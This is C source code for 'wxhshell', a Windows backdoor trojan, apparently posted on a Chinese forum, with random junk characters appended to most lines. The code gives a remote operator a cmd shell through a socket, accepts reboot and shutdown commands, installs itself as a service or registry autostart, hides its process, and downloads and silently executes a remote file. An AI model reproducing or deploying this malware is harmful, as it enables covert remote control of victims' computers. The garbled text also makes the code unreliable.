    switch(cmd[0]) { =I3U.^ :  
  aPMM:RP`  
  // 帮助 !I  P*  
  case '?': { :H k4i%hGk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6 6;O3g'  
    break; 4& WzG nK  
  } ? =Qg  
  // 安装 ;Q 6e&Ips/  
  case 'i': { qWK7K%-$ E  
    if(Install()) cSWVHr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JH, +F  
    else ZPog)d@!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cM Kh+r  
    break; Wx`IEPsVbk  
    } <T9m.:l  
  // 卸载 <o`]wOrl  
  case 'r': { %^A++Z$`  
    if(Uninstall()) NsK>UJ'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\NXCUqDpo  
    else |]^! 4[!U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :RG6gvz  
    break; 3mpjSL  
    } VUhu"h@w%  
  // 显示 wxhshell 所在路径 X:bgY  
  case 'p': { )]Rr:i9n  
    char svExeFile[MAX_PATH]; I>|?B( F  
    strcpy(svExeFile,"\n\r"); Ue%5 :Sdr  
      strcat(svExeFile,ExeFile); JE!Xf}nEi  
        send(wsh,svExeFile,strlen(svExeFile),0); <Z_`^~!  
    break; 1EB`6_>y  
    } }x-8@9S~z  
  // 重启 "=O)2}  
  case 'b': { 6jA Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m\Nc}P_"p  
    if(Boot(REBOOT)) -JkO[ IF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ->UrWW^  
    else { efm<bJB2  
    closesocket(wsh); =0|evC  
    ExitThread(0); tcZ~T  
    } 4T-AWk  
    break; Qmn5-yiw1d  
    } ^%.<(:k[L  
  // 关机  su$juI{  
  case 'd': { 0>Nq$/!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); irS62Xe  
    if(Boot(SHUTDOWN)) j=LF1dG"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  (w fZ!  
    else { ^} #!?" Y  
    closesocket(wsh); J.(_c ' r  
    ExitThread(0); Ek6W:Q:@  
    } 1-fz564  
    break; 9yPB)&"EF  
    } {I ,'  
  // 获取shell N4 pA3~P  
  case 's': { QO%K`}Q}  
    CmdShell(wsh);  ?auiq  
    closesocket(wsh); Z^ 3Risi  
    ExitThread(0); |iI`p-L9  
    break; W\ckt]'  
  } C}Q2UK-:  
  // 退出 ub&1L_K  
  case 'x': { ]n_A~Y r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yv)/DsSyL  
    CloseIt(wsh); /uWON4  
    break; [iD!!{6+  
    } xN]bRr  
  // 离开 }Z|a?J@CZm  
  case 'q': { pI4<` K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p#w,+)1!d  
    closesocket(wsh); *4bV8T>0Z  
    WSACleanup(); Wil +"[Ge  
    exit(1); >4c 1VEi  
    break; ^AN9m]P  
        } /[p4. FL  
  } B.o&%5dG  
  } Fpb1.Iz  
K(?7E6\vO  
  // 提示信息 W*0KAC`m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !PgYn  
} qr*/}F6  
  } A8?>V%b[Y  
?$?Ni)Z  
  return; 5R4 dN=L*1  
} q^s$4q  
t9kgACo/M  
// shell模块句柄 *\/UT  
int CmdShell(SOCKET sock) a?;{0I:Ln  
{ Y<B| e91C  
STARTUPINFO si; <D__17W:;  
ZeroMemory(&si,sizeof(si)); C-(&zwj?!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5 Z@Q ^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *(rq AB0~  
PROCESS_INFORMATION ProcessInfo; B\Uj  
char cmdline[]="cmd"; "}n]0 >J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *]LM2J  
  return 0; B>R6j}rh'k  
} 4x:fOhtP  
vXc<#X9  
// 自身启动模式 j/sZ:Q  
int StartFromService(void) 0P|WoC X  
{ A 9u9d\  
typedef struct -kJ`gdS  
{ {AZW."?  
  DWORD ExitStatus; G  B15  
  DWORD PebBaseAddress; H*Yy o ?  
  DWORD AffinityMask; /h_BF\VBs  
  DWORD BasePriority; H)5]K9D  
  ULONG UniqueProcessId;  8NLk`/  
  ULONG InheritedFromUniqueProcessId; u~K4fP  
}   PROCESS_BASIC_INFORMATION; yPL@uCzA@  
4FYws5]$  
PROCNTQSIP NtQueryInformationProcess; k @[Bx>  
"2 Kh2[K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @Fo0uy\ G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7y:J@fh<  
RJ0w3T]7  
  HANDLE             hProcess; #q%&,;4  
  PROCESS_BASIC_INFORMATION pbi; (mv8_~F0  
=!Ok079{[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [ z?<'Tj  
  if(NULL == hInst ) return 0; #SO9e.yhI  
SA'  zy45  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -\>Xtix^-c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +YP,LDJ!v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zE<}_nA  
5)0R:  
  if (!NtQueryInformationProcess) return 0; =E{1QA0  
4PNl3N3,n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s I#K01;"  
  if(!hProcess) return 0; Jcm" i ~  
z55P~p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gQ& FO~cr  
|ONkRxr@!  
  CloseHandle(hProcess); !}U&%2<69  
[gU z9iU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3HWI;  
if(hProcess==NULL) return 0; |XPT2eQ{  
]@Q14   
HMODULE hMod; \T>f+0=4  
char procName[255]; iB{O"l@w  
unsigned long cbNeeded; ZVViu4]?y  
xCGvLvFn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hmQD-E{Ab  
[@Y?'={qE  
  CloseHandle(hProcess); 5X'[{'i,  
PbCXcs  
if(strstr(procName,"services")) return 1; // 以服务启动 F?3a22Zg#  
!DXKn\aQf  
  return 0; // 注册表启动 jf@#&%AC9  
} n hS=t8H  
@32JMS<  
// 主模块 >$k_tC'"  
int StartWxhshell(LPSTR lpCmdLine) LC2t,!RRl&  
{ c)+IX;q-C  
  SOCKET wsl; \ c9EE-  
BOOL val=TRUE; NJwcb=*  
  int port=0; [.;VCk)0x  
  struct sockaddr_in door; \f05(ld  
s lXk <  
  if(wscfg.ws_autoins) Install(); P'R!" #  
U8;k6WT|  
port=atoi(lpCmdLine); Syo1Dq6z.  
,a_\o&V  
if(port<=0) port=wscfg.ws_port; fU8 &fo%ER  
,_D`0B6o  
  WSADATA data; >XM-xK-=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D`V03}\-  
twq!@C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I5 "Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vm_+U*%c  
  door.sin_family = AF_INET; S)T~vK(n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P?\IlziCB  
  door.sin_port = htons(port); bODCC5yL  
n>" 0y^v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <}&n}|!  
closesocket(wsl); RQ;pAO  
return 1; hQv~C4Wfrf  
} BRLrD/8Le  
1k EXTs=,  
  if(listen(wsl,2) == INVALID_SOCKET) { 9LI #&\lba  
closesocket(wsl); [Abq("9p\  
return 1; 4"nb>tA  
} p8aGM-+40W  
  Wxhshell(wsl); ^~'tQ}]!"  
  WSACleanup(); `q@5d&d`j  
dDK4I3a  
return 0; B4Ko,=pg  
>4b:`L  
} hd^?mZ  
>4 4A  
// 以NT服务方式启动 % put=I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^cs:S-s  
{ .fY1?$*6c  
DWORD   status = 0; @~,&E*X! .  
  DWORD   specificError = 0xfffffff; 2.)xWCG  
+L03. rf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R9@Dd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AqnDsr!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  `S$zwot  
  serviceStatus.dwWin32ExitCode     = 0; O< [h  
  serviceStatus.dwServiceSpecificExitCode = 0; T;!: A  
  serviceStatus.dwCheckPoint       = 0; Aj#bhv  
  serviceStatus.dwWaitHint       = 0; Hz~?"ts@;  
v<CZ.-r\j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Y9FU  
  if (hServiceStatusHandle==0) return; {| ~  
Se~< Vpo  
status = GetLastError(); goBl~fqy0  
  if (status!=NO_ERROR) %EV\nwn6  
{ Jy<hTd*q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &BTgISYi  
    serviceStatus.dwCheckPoint       = 0; wzX(]BG  
    serviceStatus.dwWaitHint       = 0; r'*x><m'  
    serviceStatus.dwWin32ExitCode     = status; jEU`ko_  
    serviceStatus.dwServiceSpecificExitCode = specificError; A.-j 5C4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d?[gd(O  
    return; r:N =?X`N  
  } @>:V?  
ZW+M<G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J34/rL/s  
  serviceStatus.dwCheckPoint       = 0; fL$U%I3  
  serviceStatus.dwWaitHint       = 0; V Ioqn$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x;N@_FZ7KY  
} 9d kuvk}:  
 #dO8) t  
// 处理NT服务事件,比如:启动、停止 pzr\<U`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I'h|7y\  
{ 4C:-1gu7  
switch(fdwControl) bqPaXH n  
{ FT'2 J  
case SERVICE_CONTROL_STOP: :<}1as! eo  
  serviceStatus.dwWin32ExitCode = 0; 9N[(f-`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &[yW}uV<7  
  serviceStatus.dwCheckPoint   = 0; kz!CxI (  
  serviceStatus.dwWaitHint     = 0; #!.26RM:P  
  { ;bYS#Bid{V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xVnk]:c  
  } LC>bZ!(i#  
  return; L.ML0H-   
case SERVICE_CONTROL_PAUSE: @"h @4q/W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]nIH0k3y  
  break; hnYL<<AA  
case SERVICE_CONTROL_CONTINUE: h4,g pV>t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l@W1b S  
  break; 2/dvCt6 N  
case SERVICE_CONTROL_INTERROGATE: HpKF7oJ'N  
  break; ZbAg^2  
}; n9H4~[JiC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eo [eN.  
} wH0m^?a!3  
L#|6L np^  
// 标准应用程序主函数 ;z1\n3,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O~*`YsL9  
{ (O!Q[WLS  
EP'I  
// 获取操作系统版本 w<|Qezi3 w  
OsIsNt=GetOsVer(); 5 (cgHr"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 360b`zS  
b+#A=Z+Pr  
  // 从命令行安装 }lQ`ka  
  if(strpbrk(lpCmdLine,"iI")) Install();  o%SD\zk  
.,*68S0k7  
  // 下载执行文件 +1pY^#A  
if(wscfg.ws_downexe) { %AJTU3=0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s(0"r.  
  WinExec(wscfg.ws_filenam,SW_HIDE); zL@FN sYVM  
} y[A%EMd  
uGz>AW8a3  
if(!OsIsNt) { ;oM7H*W C  
// 如果时win9x,隐藏进程并且设置为注册表启动 gp(: o$  
HideProc(); "CTK%be{q/  
StartWxhshell(lpCmdLine); Sg+0w7:2  
} efrVF5,y?  
else [XbNZ6  
  if(StartFromService()) GwM(E^AG  
  // 以服务方式启动 W[SZZV_(tu  
  StartServiceCtrlDispatcher(DispatchTable); G$oi>zt3  
else o>jM4sk$  
  // 普通方式启动 231,v,X[  
  StartWxhshell(lpCmdLine); SCL8.%z D  
nXJG4$G  
return 0; u` L9Pj&v  
}
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只看该作者 1 发表于: 2006-10-10
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